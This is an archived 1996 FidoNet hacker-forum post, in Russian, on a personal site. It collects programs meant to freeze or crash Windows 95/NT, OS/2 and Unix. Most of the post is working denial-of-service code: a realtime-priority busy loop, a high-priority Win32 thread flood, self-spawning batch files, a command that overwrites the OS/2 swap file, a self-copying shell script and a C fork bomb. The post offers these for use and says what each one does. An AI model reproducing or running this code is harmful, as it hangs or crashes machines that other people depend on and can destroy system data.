DiBR
обычная кошмарная
домашняя страничка
Ежекакполучится околокомпьютерное обозрение
 
  <<<  предыдущий Tech! archive #192 следующий  >>>  
   Последний выпуск       Архив       Ссылки       Полезности       humor.filtered       Фотки       О сайте   
          Это - достаточно беспорядочный архив сообщений конференций сети fidonet, которые на момент их прочтения мной показались полезными или интересными. Многие устарели, многие узкоспецифичны и малоинтересны, но может оказаться и что-то новое...
         
- __techs (2:5015/42) ----------------------------------------------- __techs -
Msg  : 192 of 1000                         Scn
From : Sergey Zabaryansky                  2:463/81.73     24 Nov 96  20:51:20
To   : All                                                 26 Nov 96  06:30:40
Subj : Весим Win95,WinNT,OS/2,UNIX ! (2/2)
-------------------------------------------------------------------------------
@AREA:RU.HACKER
Hi All!

*******************************
[....] висим
[Exec] как обычно :)
[Type] Console Win32
*******************************

У этой программы есть большой недостаток - она, как и все предыдущие,
машинно-ориентированная. Давайте завесим NT используя _только_ Win32 API.
Cделать это, как оказалось, не так уж и сложно:

#include <windows.h>

main()
{
SetPriorityClass(REALTIME_PRIORITY_CLASS);
while(TRUE);
}

Тут правда есть некоторые тонкости. Во первых эта программа не возымеет
должного действия на многопроцессорную машину. Во вторых программа
должна быть запущена пользователем с правом Increase Scheduling Priority.

*******************************
[....] висим
[Exec] как обычно :)
[Type] Console Win32
*******************************

Предыдущую программу легко переписать с использованием лишь
приоритета HIGH, на который никаких прав не нужно. Дело в том,
что планировщик OS ничего не знает о процессах, он распределяет
время между потоками. По этой причине если у одной программы потоков
будет на порядок больше чем у другой, то все процессы кроме нашего
фактически не получат время. Вот реализация этой идеи:

DWORD ThreadProc(LPDWORD)
{
while(TRUE);
return 0;
}

int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR szLine,int Cmd)
{
DWORD dwResult;
SetPriorityClass(GetCurrentProcess(),HIGH_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_HIGHEST);
while(TRUE)
 {
  CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc,NULL,0,&dwResult);
 }
return 0;
}

*******************************
[....] висим
[Exec] как обычно :)
[Type] файл hangup.bat
*******************************

start hangup.bat
start hangup.bat


4. OS/2

********************************
[....] аварийный останов системы
[Exec] коммандная строка DosBox
[Type]
********************************

echo FoolPlainText > swapper.dat

Где swapper.dat - своп OS/2.

*************************************
[....] не висим, но это уже не работа
[Exec] в DosBox
[Type] hangup.bat
*************************************

start /b hangup.bat
start /b hangup.bat


5. UNIX

********************************
[....] висим
[Exec] from shell ./hangunix
[Type]
********************************

      cat hangunix > x
      cat x >> hangunix
      ./hangunix &
      ./hangunix &

*******************************************
[....] тормозим/запуск программ не возможен
[Exec] a.out &
[Type] C source
*******************************************

#include <unistd.h>

main()
{
while(1) {
  sync();
  fork();
 }
}

Эта программа порождает свои копии до тех пор, пока это возможно.
Она должна быть запущена в фоне. После этого вы не сможете
запустить _ни одну_ программу, так как система не сможет
создать еще один процесс, кроме того OS начнет _жудко_ тормозить.

   Sergey Zabaryansky
--- GEcho 1.02+
* Origin: Идеальным только газ бывает, и то в учебнике по физике (2:463/81.73)






<<<

архив dibr

>>>'